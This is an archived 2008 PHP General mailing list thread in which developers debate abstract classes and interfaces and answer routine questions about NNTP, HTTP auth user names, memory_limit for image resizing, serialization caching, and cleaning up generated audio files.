RE: [PHP] What is the practical use of abstract and interface?
-Original Message- From: Larry Garfield [mailto:[EMAIL PROTECTED] If your code doesn't have an API and clear separation of parts, then neither abstract classes nor interfaces are useful to you. If you're coding anything of respectable size, vis, more than a one-off 1000 line script or less, then you either want to have an API and clear separation of parts or I don't want to hire you, because your code is going to be an unmaintainable mess. That is s not true. My last company had nearly 15 developers and we never used either of these concepts in the six years the company existed. We had perhaps 50+ classes and some had upwards of 5-KLOC each. We had three databases with almost 300 tables. We had an external XML API that hooked into these classes with 'set', 'get', 'add', 'delete' and all the commands you would expect. And we weren't doing simple stuff either. This was an extremely complex appliance that was HEAVILY PHP/Ruby driven (http://www.lockdownnetworks.com). I'm not trying to start a war here, I just really don't see how any PHP project other than the very fringe examples such as a DB abstraction project or huge PEAR project has any _real_ need for this. Sure, it's all text-book and proper perhaps, but to me it just seems like bloat and if you intend to extend a given class, you STILL have to read the source code and examine the abstract class or interface anyways to know what you have to implement in your derived class (right?) 90% of the LAMP projects amount to some website/service, some user registration, some blogs or threaded discussion, some database entries. They're really not all that complex in the big picture. I can sort of see the use for these if you were designing an operating system or a device driver or something HUGE. But come on -- a website is really not that big (code wise). It may have thousands of pages, but they're built from a relatively small amount of dynamic PHP pages. In any event, thanks for your detailed reply Larry. I get the concepts. I just don't see the general-use-case need in PHP's OOP world. Maybe sometime the light-switch will flip on for me and I'll realize I've been skating uphill all these years... Daevid. P.S. you should look at my resume before you decide not to hire me ;-p http://resume.daevid.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP with NNTP?
vester_s wrote: Hi, Can anybody tell me how can php connect to NNTP to get the list of all users in the newsgroups? I'm not sure about getting all the users, but you could create a connection using plain socket programming. NNTP is a pretty simple protocol. /Per Jessen, Zürich -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP with NNTP?
vester_s wrote: Hi, Can anybody tell me how can php connect to NNTP to get the list of all users in the newsgroups? http://php.net/imap supports nntp. -- Postgresql php tutorials http://www.designmagick.com/ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] What is the practical use of abstract and interface?
On Wednesday 16 April 2008, Daevid Vincent wrote: -Original Message- From: Larry Garfield [mailto:[EMAIL PROTECTED] If your code doesn't have an API and clear separation of parts, then neither abstract classes nor interfaces are useful to you. If you're coding anything of respectable size, vis, more than a one-off 1000 line script or less, then you either want to have an API and clear separation of parts or I don't want to hire you, because your code is going to be an unmaintainable mess. That is s not true. My last company had nearly 15 developers and we never used either of these concepts in the six years the company existed. We had perhaps 50+ classes and some had upwards of 5-KLOC each. We had three databases with almost 300 tables. We had an external XML API that hooked into these classes with 'set', 'get', 'add', 'delete' and all the commands you would expect. And we weren't doing simple stuff either. This was an extremely complex appliance that was HEAVILY PHP/Ruby driven (http://www.lockdownnetworks.com). I'm not trying to start a war here, I just really don't see how any PHP project other than the very fringe examples such as a DB abstraction project or huge PEAR project has any _real_ need for this. Sure, it's all text-book and proper perhaps, but to me it just seems like bloat and if you intend to extend a given class, you STILL have to read the source code and examine the abstract class or interface anyways to know what you have to implement in your derived class (right?) 90% of the LAMP projects amount to some website/service, some user registration, some blogs or threaded discussion, some database entries. They're really not all that complex in the big picture. I can sort of see the use for these if you were designing an operating system or a device driver or something HUGE. But come on -- a website is really not that big (code wise). It may have thousands of pages, but they're built from a relatively small amount of dynamic PHP pages. In any event, thanks for your detailed reply Larry. I get the concepts. I just don't see the general-use-case need in PHP's OOP world. Maybe sometime the light-switch will flip on for me and I'll realize I've been skating uphill all these years... Daevid. P.S. you should look at my resume before you decide not to hire me ;-p http://resume.daevid.com Please take note of what I said. I did not say if you're coding anything of respectable size without interfaces and abstract classes, I don't want to hire you. I said If you're coding anything of respectable size clean separation of parts and an API between them, I don't want to hire you. Interfaces, abstract classes, and the rest of OOP are *A* way of defining an API and separation of parts. It is not the only way. OOP is a tool, and sometimes it's the right tool and sometimes it's not. Yes, it's overkill for many small projects, but that doesn't make it never-useful. I'm a Drupal developer. Our codebase is huge, and our contrib codebase is over a million lines of code, I think. There's maybe 4 classes total in all of that, all of them very recently added. :-) And yet the system itself is extremely modular with clear APIs. It's the modular and clear APIs part that makes it good, not the number of classes it has (or doesn't have). Besides, interfaces and abstract classes only came to PHP in PHP 5. :-) Now, that said, a 5000-line class? Unless 4500 lines of that is comments, I have to question if you're understanding OO design properly. :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP with NNTP?
On Wednesday 16 April 2008, vester_s wrote: Can anybody tell me how can php connect to NNTP to get the list of all users in the newsgroups? NNTP has no concept of users. -- Crayon -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] How to get the HTTP authenticated user name?
Hi all, I'm new to the list. I'm running on Apache 2 and I want to use the mod_auth_basic module, which authenticates the user. But I need the username to use it in my php script. How can I? Is there any php command or variable that keeps this info? I searched my browser whether a cookie is created, but unfortunately there isn't Regards, Georgios -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Memory limit of 8 MB not enough
Dave M G wrote: I contacted my web host provider, and they recommended increasing the allowed allocation limit in /etc/php.ini. Right now my allocation limit, assuming I'm looking at the right setting is 8 megabytes: memory_limit = 8M ; Maximum amount of memory a script may consume (8MB) What would be a recommended size? While I want to have enough to work with large images, I don't want to overload the server. Unless you are constrained by memory in general, I would say 64M. But check how much memory you have and how many pictures you expect to process concurrently. Actually, I have no idea what the potential dangers are. Using up all available memory is the only real risk. It might lead to swapping which in turn will most likely increase response times. /Per Jessen, Zürich -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] How to get the HTTP authenticated user name?
Georgios Kasapoglou wrote: Hi all, I'm new to the list. I'm running on Apache 2 and I want to use the mod_auth_basic module, which authenticates the user. But I need the username to use it in my php script. How can I? $_SERVER[] might have it. /Per Jessen, Zürich -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: How to get the HTTP authenticated user name?
Ok, $_SERVER[REMOTE_USER] is the answer. Thanks anyway. Georgios Georgios Kasapoglou wrote: Hi all, I'm new to the list. I'm running on Apache 2 and I want to use the mod_auth_basic module, which authenticates the user. But I need the username to use it in my php script. How can I? Is there any php command or variable that keeps this info? I searched my browser whether a cookie is created, but unfortunately there isn't Regards, Georgios -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Memory limit of 8 MB not enough
PHP list, I have a PHP script that resizes an image. It takes just about whatever size and shrinks and crops it down to 320X240. I've found that these days, it's not uncommon for people to take images straight off their digital camera, which can be 3000X2000 pixels in image size, even if the jpeg file containing the image is only 200 KB. When working with the image, it gets uncompressed and takes up a lot of memory. So sometimes I've seen an error in my logs that says: Fatal error: Allowed memory size of 8388608 bytes exhausted (tried to allocate 8000 bytes) in /home/public_html/Action.php on line 153. I contacted my web host provider, and they recommended increasing the allowed allocation limit in /etc/php.ini. Right now my allocation limit, assuming I'm looking at the right setting is 8 megabytes: memory_limit = 8M ; Maximum amount of memory a script may consume (8MB) What would be a recommended size? While I want to have enough to work with large images, I don't want to overload the server. Actually, I have no idea what the potential dangers are. Just on principle I think it's a bad idea to edit php.ini without some guidance. What should I set the memory limit to? -- Dave M G -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] PHP Serialization Performance
I'm using PHP to cache files that are backed by the database. In the course of writing these functions, I end up with a set of variables that are needed by my application, returned in an array. I can either directly generate the array in a .php file, then use require_once to get that variable, or I can use PHP serialization, write that array out to a file, then in my application read the array in, deserialize, etc. I spent awhile trying to look at the performance of php serialization, but except for one unsubstantiated comment on the php serialize() doc page, I haven't found much. Does anyone have any knowledge of that, and also of the two approaches in general? The pro of the serialization is that I think it's slightly easier to write, but the con is that it's harder to read. Thanks! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP Serialization Performance
I'm using PHP to cache files that are backed by the database. In the course of writing these functions, I end up with a set of variables that are needed by my application, returned in an array. I can either directly generate the array in a .php file, then use require_once to get that variable, or I can use PHP serialization, write that array out to a file, then in my application read the array in, deserialize, etc. I spent awhile trying to look at the performance of php serialization, but except for one unsubstantiated comment on the php serialize() doc page, I haven't found much. Does anyone have any knowledge of that, and also of the two approaches in general? The pro of the serialization is that I think it's slightly easier to write, but the con is that it's harder to read. Not taking into account the actual performance (you must decide how important this is to you), the quickest to implement would be a combination of serialize(), unserialize(), file_put_contents() and file_get_contents(). Using these functions you could very quickly create a persistent cache for data. It might be quicker though to use a cache that's already out there. -- Richard Heyes Employ me: http://www.phpguru.org/cv -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] What is the practical use of abstract and interface?
The term abstract has been adequately defined in this thread, so I won't repeat it. However, there is one important aspect of the term interface which I think that most people seem to miss - it is not necessary to use the term interface in order to have an interface. Let me explain with a code sample: class foo { function something ($arg1, $arg2, ...) { } // end something } // end class foo Here I have defined a class foo with a method called something. This method as it stands is already an interface (as in Application Program Interface or API) and does not require anything extra for it to be accessed. All I need is the following: $foo = new foo. $result = $foo-something($arg1, $arg2, ...); In order to include the term interface in the code you need something like the following (which is taken from the PHP manual): // Declare the interface 'iTemplate' interface iTemplate { public function setVariable($name, $var); public function getHtml($template); } // Implement the interface // This will work class Template implements iTemplate { private $vars = array(); public function setVariable($name, $var) { $this-vars[$name] = $var; } public function getHtml($template) { foreach($this-vars as $name = $value) { $template = str_replace('{' . $name . '}', $value, $template); } return $template; } } All that extra code for absolutely no benefit! It is possible to define an interface (as in API) without actually using the term interface, so IMHO the term interface is totally redundant and a waste of time. -- Tony Marston http://www.tonymarston.net http://www.radicore.org Daevid Vincent [EMAIL PROTECTED] wrote in message news:[EMAIL PROTECTED] -Original Message- From: Larry Garfield [mailto:[EMAIL PROTECTED] If your code doesn't have an API and clear separation of parts, then neither abstract classes nor interfaces are useful to you. If you're coding anything of respectable size, vis, more than a one-off 1000 line script or less, then you either want to have an API and clear separation of parts or I don't want to hire you, because your code is going to be an unmaintainable mess. That is s not true. My last company had nearly 15 developers and we never used either of these concepts in the six years the company existed. We had perhaps 50+ classes and some had upwards of 5-KLOC each. We had three databases with almost 300 tables. We had an external XML API that hooked into these classes with 'set', 'get', 'add', 'delete' and all the commands you would expect. And we weren't doing simple stuff either. This was an extremely complex appliance that was HEAVILY PHP/Ruby driven (http://www.lockdownnetworks.com). I'm not trying to start a war here, I just really don't see how any PHP project other than the very fringe examples such as a DB abstraction project or huge PEAR project has any _real_ need for this. Sure, it's all text-book and proper perhaps, but to me it just seems like bloat and if you intend to extend a given class, you STILL have to read the source code and examine the abstract class or interface anyways to know what you have to implement in your derived class (right?) 90% of the LAMP projects amount to some website/service, some user registration, some blogs or threaded discussion, some database entries. They're really not all that complex in the big picture. I can sort of see the use for these if you were designing an operating system or a device driver or something HUGE. But come on -- a website is really not that big (code wise). It may have thousands of pages, but they're built from a relatively small amount of dynamic PHP pages. In any event, thanks for your detailed reply Larry. I get the concepts. I just don't see the general-use-case need in PHP's OOP world. Maybe sometime the light-switch will flip on for me and I'll realize I've been skating uphill all these years... Daevid. P.S. you should look at my resume before you decide not to hire me ;-p http://resume.daevid.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] What is the practical use of abstract and interface?
On Wed, 2008-04-16 at 12:20 +0100, Tony Marston wrote: The term abstract has been adequately defined in this thread, so I won't repeat it. However, there is one important aspect of the term interface which I think that most people seem to miss - it is not necessary to use the term interface in order to have an interface. Let me explain with a code sample: class foo { function something ($arg1, $arg2, ...) { } // end something } // end class foo Here I have defined a class foo with a method called something. This method as it stands is already an interface (as in Application Program Interface or API) and does not require anything extra for it to be accessed. All I need is the following: $foo = new foo. $result = $foo-something($arg1, $arg2, ...); In order to include the term interface in the code you need something like the following (which is taken from the PHP manual): // Declare the interface 'iTemplate' interface iTemplate { public function setVariable($name, $var); public function getHtml($template); } // Implement the interface // This will work class Template implements iTemplate { private $vars = array(); public function setVariable($name, $var) { $this-vars[$name] = $var; } public function getHtml($template) { foreach($this-vars as $name = $value) { $template = str_replace('{' . $name . '}', $value, $template); } return $template; } } All that extra code for absolutely no benefit! It is possible to define an interface (as in API) without actually using the term interface, so IMHO the term interface is totally redundant and a waste of time. While I agree that Interfaces are mostly a lot of extra code, I have to also say that they are there primarily to enforce a contract between the user of the interface and their classes that claim to implement the interface. If someone creates a class that Implements an interface, then when I have to go edit or use the class, it had better damn well implement what it says it does :) Cheers, Rob. -- http://www.interjinn.com Application and Templating Framework for PHP -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] What is the practical use of abstract and interface?
Robert Cummings [EMAIL PROTECTED] wrote in message news:[EMAIL PROTECTED] On Wed, 2008-04-16 at 12:20 +0100, Tony Marston wrote: The term abstract has been adequately defined in this thread, so I won't repeat it. However, there is one important aspect of the term interface which I think that most people seem to miss - it is not necessary to use the term interface in order to have an interface. Let me explain with a code sample: class foo { function something ($arg1, $arg2, ...) { } // end something } // end class foo Here I have defined a class foo with a method called something. This method as it stands is already an interface (as in Application Program Interface or API) and does not require anything extra for it to be accessed. All I need is the following: $foo = new foo. $result = $foo-something($arg1, $arg2, ...); In order to include the term interface in the code you need something like the following (which is taken from the PHP manual): // Declare the interface 'iTemplate' interface iTemplate { public function setVariable($name, $var); public function getHtml($template); } // Implement the interface // This will work class Template implements iTemplate { private $vars = array(); public function setVariable($name, $var) { $this-vars[$name] = $var; } public function getHtml($template) { foreach($this-vars as $name = $value) { $template = str_replace('{' . $name . '}', $value, $template); } return $template; } } All that extra code for absolutely no benefit! It is possible to define an interface (as in API) without actually using the term interface, so IMHO the term interface is totally redundant and a waste of time. While I agree that Interfaces are mostly a lot of extra code, I have to also say that they are there primarily to enforce a contract between the user of the interface and their classes that claim to implement the interface. If someone creates a class that Implements an interface, then when I have to go edit or use the class, it had better damn well implement what it says it does :) enforcing a contract is a lot of maningless gobbledegook. The simple fact is that it is possible to have an interface without ever using the term interface. Nothing extra is added by using the term interface (except for effort) so there is absolutely no advantage in doing so. That is why I say that the term interface is a waste of effort as absolutely nothng is gained. -- Tony Marston http://www.tonymarston.net http://www.radicore.org Cheers, Rob. -- http://www.interjinn.com Application and Templating Framework for PHP -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Memory limit of 8 MB not enough
At 6:48 PM +0900 4/16/08, Dave M G wrote: PHP list, I have a PHP script that resizes an image. It takes just about whatever size and shrinks and crops it down to 320X240. I've found that these days, it's not uncommon for people to take images straight off their digital camera, which can be 3000X2000 pixels in image size, even if the jpeg file containing the image is only 200 KB. When working with the image, it gets uncompressed and takes up a lot of memory. You might want to look into using javascript to trim the file down to a respectable size before uploading. Cheers, tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] What is the practical use of abstract and interface?
[snip] enforcing a contract is a lot of maningless gobbledegook. The simple fact is that it is possible to have an interface without ever using the term interface. Nothing extra is added by using the term interface (except for effort) so there is absolutely no advantage in doing so. That is why I say that the term interface is a waste of effort as absolutely nothng is gained. [/snip] What about encapsulation? Also, there is an advantage to interfaces that has not been mentioned yet, the fact that a class can implement multiple interfaces (polymorphism). And yes, I know that I can extend by inheritance to create polymorphism too, but what is the most efficient method? It depends on the application. Like anything else interfaces are a tool and there may be multiple tools that can accomplish the same job (i.e. table saw, band saw, hand saw). Pick the one that is right for you. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RES: [PHP] PHP Speech
{Top Posting} I don't know if I'm just lazy or stupid (or both). I went into a similar issue few weeks ago and my solution was to add a function to delete files created in the last X hours (mine was 24), and call it on the same script that creates the files. Which means it tries to clean up old files every time it creates a new one. Is that any good for you guys? Regards, Thiago -Mensagem original- De: Daniel Brown [mailto:[EMAIL PROTECTED] Enviada em: terça-feira, 15 de abril de 2008 21:05 Para: tedd Cc: php-general@lists.php.net Assunto: Re: [PHP] PHP Speech On Tue, Apr 15, 2008 at 7:04 PM, tedd [EMAIL PROTECTED] wrote: Your hosting service provides the capability to turn html text to speech, as I've done here: [snip!] But, how do we delete the file? The php script is history after presenting the page and javascript can't touch the server, right? So, how does one delete the wave file? The only way I can see is to set up a cron job to delete all wave files after a certain time, but that's kind-of lame. Is there another way? Right, but unfortunately, because it's audio that needs to stream, it can't just be served like an image (think GD or imagemagick) and then destroyed. There is no way to know how long it will be before the client receives the entire file, and it would prove to be too much to store in a reasonable buffer. That's why I had to write it the way it is. The drawback is that, yes, unless you're overwriting the file each time (which, with high-traffic sites, would corrupt larger files mid-download), you either have to have a script to unlink() the files or a cron to remove them (or resort to a manual removal). I'm all ears, eyes, and cerebellum if you've got an idea on how to fix that though. The next phase should have better speech, I'm just having a tough time with paid gigs now and find no time to focus on the fun stuff really. I still don't know why no one ever told us the truth that, no matter how much we wanted to be Toys 'R' Us kids, the answer was unscrupulously the same: tough nuts. -- /Daniel P. Brown Ask me about: Dedicated servers starting @ $59.99/mo., VPS starting @ $19.99/mo., and shared hosting starting @ $2.50/mo. Unmanaged, managed, and fully-managed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Memory limit of 8 MB not enough
On Wed, Apr 16, 2008 at 5:48 AM, Dave M G [EMAIL PROTECTED] wrote: PHP list, I have a PHP script that resizes an image. It takes just about whatever size and shrinks and crops it down to 320X240. [snip!] So sometimes I've seen an error in my logs that says: Fatal error: Allowed memory size of 8388608 bytes exhausted (tried to allocate 8000 bytes) in /home/public_html/Action.php on line 153. [snip!] What would be a recommended size? While I want to have enough to work with large images, I don't want to overload the server. I set the server-wide setting on most of my servers to 64MB. This includes my shared hosting servers, where resources are then monitored otherwise and then clients who may overuse or abuse resources may be bumped to a more powerful system (VPS, dedicated, or even just a higher shared plan). So I'd recommend using 64MB, but monitoring traffic as well --- because that 64MB max limit will be for each execution of each script. So if you have 100 simultaneous connections each using the maximum memory allowed by configuration, you're looking at ~6.4GB memory --- clearly into swap space, and not an optimal situation. -- /Daniel P. Brown Ask me about: Dedicated servers starting @ $59.99/mo., VPS starting @ $19.99/mo., and shared hosting starting @ $2.50/mo. Unmanaged, managed, and fully-managed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Memory limit of 8 MB not enough
On Wed, Apr 16, 2008 at 7:56 AM, tedd [EMAIL PROTECTED] wrote: At 6:48 PM +0900 4/16/08, Dave M G wrote: PHP list, I have a PHP script that resizes an image. It takes just about whatever size and shrinks and crops it down to 320X240. I've found that these days, it's not uncommon for people to take images straight off their digital camera, which can be 3000X2000 pixels in image size, even if the jpeg file containing the image is only 200 KB. When working with the image, it gets uncompressed and takes up a lot of memory. You might want to look into using javascript to trim the file down to a respectable size before uploading. Cheers, tedd I'd be interested in seeing an example of how you actually plan on doing that, Tedd. JavaScript can't access the file from an input field, and I'm not aware of any JavaScript image handling functions either. Andrew -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Memory limit of 8 MB not enough
On Wed, Apr 16, 2008 at 6:07 AM, Per Jessen [EMAIL PROTECTED] wrote: Actually, I have no idea what the potential dangers are. Using up all available memory is the only real risk. It might lead to swapping which in turn will most likely increase response times. And on a shared host, the likelihood of increased billing for overuse of memory. If it's going to be that resource-intensive, it may be better to consider moving to a VPS or dedicated server. I removed my signature from this email so it doesn't look like I'm stating this to try to sell my own stuff. ;-P -- /Daniel P. Brown -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Memory limit of 8 MB not enough
On Wed, Apr 16, 2008 at 7:56 AM, tedd [EMAIL PROTECTED] wrote: At 6:48 PM +0900 4/16/08, Dave M G wrote: PHP list, I have a PHP script that resizes an image. It takes just about whatever size and shrinks and crops it down to 320X240. I've found that these days, it's not uncommon for people to take images straight off their digital camera, which can be 3000X2000 pixels in image size, even if the jpeg file containing the image is only 200 KB. When working with the image, it gets uncompressed and takes up a lot of memory. You might want to look into using javascript to trim the file down to a respectable size before uploading. I've never seen JavaScript's ability to work with image resizing and such. Are you suggesting using it instead to say, that file is too big, before it's uploaded? If that's the case, it may not work in Dave's situation, since he expects large files already, and therefore has the resizing script(s) in place. If I'm not totally off-point, I think the memory issue is more of GD/Imagemagick being a resource hog than the actual file size, since he pointed out that a megapixel image is sometimes still only 200K. -- /Daniel P. Brown Ask me about: Dedicated servers starting @ $59.99/mo., VPS starting @ $19.99/mo., and shared hosting starting @ $2.50/mo. Unmanaged, managed, and fully-managed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP Speech
On Wed, Apr 16, 2008 at 9:37 AM, Thiago Pojda [EMAIL PROTECTED] wrote: I don't know if I'm just lazy or stupid (or both). Stupid, definitely not. Lazy well, maybe. ;-P I went into a similar issue few weeks ago and my solution was to add a function to delete files created in the last X hours (mine was 24), and call it on the same script that creates the files. Which means it tries to clean up old files every time it creates a new one. Is that any good for you guys? It's a great idea in theory, but my concern is the duration in which the files are unlink()'d from the system; the function is called when another file is created - presumably when another user accesses the page - which then lengthens the time before each user after the first will be able to see the end result. Now there is a very long, but very valid, run-on sentence. ;-D -- /Daniel P. Brown Ask me about: Dedicated servers starting @ $59.99/mo., VPS starting @ $19.99/mo., and shared hosting starting @ $2.50/mo. Unmanaged, managed, and fully-managed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP Speech
On Wed, Apr 16, 2008 at 7:37 AM, Thiago Pojda [EMAIL PROTECTED] wrote: {Top Posting} I don't know if I'm just lazy or stupid (or both). I went into a similar issue few weeks ago and my solution was to add a function to delete files created in the last X hours (mine was 24), and call it on the same script that creates the files. Which means it tries to clean up old files every time it creates a new one. Is that any good for you guys? it sounds like thats what theyre talking about doing... i was thinking, maybe put something in the session. a variable to indicate the file was generated for some page. so like, on the page that the clip is produced for, you drop a value in the session. maybe a path to the file; and that would go in some array index like $_SESSION['lastSoundByte'] so then, at the beginning part of the logic for building a page you include something along the lines of if(!empty($_SESSION['lastSoundByte'])) { unlink($_SESSION['lastSoundByte']); } that way, you could get rid of them almost as quickly as they are created; you wont be overwriting any files for different users, and you have the garuantee that the sound bytes will no longer be required for use by the clients. because theyve gone to another page ;) and you eliminate any issue about knowing when the file has been completely downloaded by the client. i would still consider a cron as a cleanup script tho... -nathan
Re: [PHP] Memory limit of 8 MB not enough
Daniel Brown wrote: On Wed, Apr 16, 2008 at 6:07 AM, Per Jessen [EMAIL PROTECTED] wrote: Actually, I have no idea what the potential dangers are. Using up all available memory is the only real risk. It might lead to swapping which in turn will most likely increase response times. And on a shared host, the likelihood of increased billing for overuse of memory. Except a shared hoster would probably not permit anyone to change php.ini :-) /Per Jessen, Zürich -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP Speech
On Wed, Apr 16, 2008 at 9:59 AM, Nathan Nobbe [EMAIL PROTECTED] wrote: well since i dont have your service dan, im filling in blanks over here; but, do users get to determine the name of the files that get created by this script, or at least rename them; that could be very beneficial. Invalid. You went from a statement, to the posing of a question, to a semi-colonic (pardon the pun!) statement again. :-D In any case, yes: the filename can be determined by the user at the time of the function call. And the file can be renamed, as well; it's placed wherever the user specifies (provided he or she has subsequent permission to write to the location, of course). run on sentence #2 ;D You are the weakest link. Goodbye! -- /Daniel P. Brown Ask me about: Dedicated servers starting @ $59.99/mo., VPS starting @ $19.99/mo., and shared hosting starting @ $2.50/mo. Unmanaged, managed, and fully-managed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP Speech
On Wed, Apr 16, 2008 at 9:59 AM, Andrew Ballard [EMAIL PROTECTED] wrote: In addition to the added time, aren't there any problems with race conditions if two users try to create a file at the same time and each user's script tries to clean the same files at the same time? With output error buffering (or 'rm -f {FILENAME}') there wouldn't be. If a tree falls in the woods and no one is there to hear it, it doesn't make a sound at all. Such is the same with error reporting: if I'm not told an error occurred, then it didn't. Ignorance is bliss. ;-P In reality, you're correct. If the files have the same names, are in the same location, and are set for removal at the same time, then yes. -- /Daniel P. Brown Ask me about: Dedicated servers starting @ $59.99/mo., VPS starting @ $19.99/mo., and shared hosting starting @ $2.50/mo. Unmanaged, managed, and fully-managed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Memory limit of 8 MB not enough
On Wed, Apr 16, 2008 at 9:57 AM, Per Jessen [EMAIL PROTECTED] wrote: Daniel Brown wrote: And on a shared host, the likelihood of increased billing for overuse of memory. Except a shared hoster would probably not permit anyone to change php.ini :-) I do. A lot of them do. -- /Daniel P. Brown Ask me about: Dedicated servers starting @ $59.99/mo., VPS starting @ $19.99/mo., and shared hosting starting @ $2.50/mo. Unmanaged, managed, and fully-managed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP Speech
On Wed, Apr 16, 2008 at 8:12 AM, Daniel Brown [EMAIL PROTECTED] wrote: On Wed, Apr 16, 2008 at 10:05 AM, Nathan Nobbe [EMAIL PROTECTED] wrote: On Wed, Apr 16, 2008 at 7:59 AM, Andrew Ballard [EMAIL PROTECTED] wrote: In addition to the added time, aren't there any problems with race conditions if two users try to create a file at the same time and each user's script tries to clean the same files at the same time? ergo, the need to name the files differently; or provide a separate namespace, such as a per-user sub-directory. Do you want to play around with a quick demo account? I can set you up with temporary access to SSH and the web if you want to see what we're talking about. sure, why not; but ill not let you lure me into a full hosting deal. ive got my own systems, atm. -nathan
Re: [PHP] PHP Speech
On Wed, Apr 16, 2008 at 10:13 AM, Nathan Nobbe [EMAIL PROTECTED] wrote: On Wed, Apr 16, 2008 at 8:07 AM, Daniel Brown [EMAIL PROTECTED] wrote: You are the weakest link. Goodbye! have your bitter posting days started early ? :P No, but that annoying woman's face and voice popped into my head, so I thought I'd share. -- /Daniel P. Brown Ask me about: Dedicated servers starting @ $59.99/mo., VPS starting @ $19.99/mo., and shared hosting starting @ $2.50/mo. Unmanaged, managed, and fully-managed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP Speech
On Wed, Apr 16, 2008 at 8:14 AM, Daniel Brown [EMAIL PROTECTED] wrote: On Wed, Apr 16, 2008 at 10:13 AM, Nathan Nobbe [EMAIL PROTECTED] wrote: On Wed, Apr 16, 2008 at 8:07 AM, Daniel Brown [EMAIL PROTECTED] wrote: You are the weakest link. Goodbye! have your bitter posting days started early ? :P No, but that annoying woman's face and voice popped into my head, so I thought I'd share. awesome. -nathan
Re: [PHP] PHP Speech
On Wed, Apr 16, 2008 at 10:14 AM, Nathan Nobbe [EMAIL PROTECTED] wrote: sure, why not; but ill not let you lure me into a full hosting deal. ive got my own systems, atm. Congratulations! I'm not trying to sell you on anything, just thought you might like to have more of an idea as to what we're discussing. So there! ;-P I'll send the details to you off-list in a few moments. -- /Daniel P. Brown Ask me about: Dedicated servers starting @ $59.99/mo., VPS starting @ $19.99/mo., and shared hosting starting @ $2.50/mo. Unmanaged, managed, and fully-managed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP Speech
On Wed, Apr 16, 2008 at 10:10 AM, Daniel Brown [EMAIL PROTECTED] wrote: On Wed, Apr 16, 2008 at 9:59 AM, Andrew Ballard [EMAIL PROTECTED] wrote: In addition to the added time, aren't there any problems with race conditions if two users try to create a file at the same time and each user's script tries to clean the same files at the same time? With output error buffering (or 'rm -f {FILENAME}') there wouldn't be. If a tree falls in the woods and no one is there to hear it, it doesn't make a sound at all. Such is the same with error reporting: if I'm not told an error occurred, then it didn't. Ignorance is bliss. ;-P What was the name of your company again? blindeyehosting.com? ;-) Andrew -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP Speech
On Wed, Apr 16, 2008 at 8:13 AM, Andrew Ballard [EMAIL PROTECTED] wrote: It's a start, but what about a user who never returns? You still want some way to clean out those old files, and I think that's the approach Thiago was presenting by purging all files older than X days/hours/minutes. Such a script would have to scan the entire space regardless of namespace. I think this points us toward cron rather than potentially having two simultaneous client processes both looping through the same directory trying to delete files. if everyone had their own sub-directory, the user scripts wouldnt be looping through the same directory. but it would sure be nice if the hosing company (wink, wink) provided something everyone would essentially be reproducing themselves. -nathan
Re: [PHP] PHP Speech
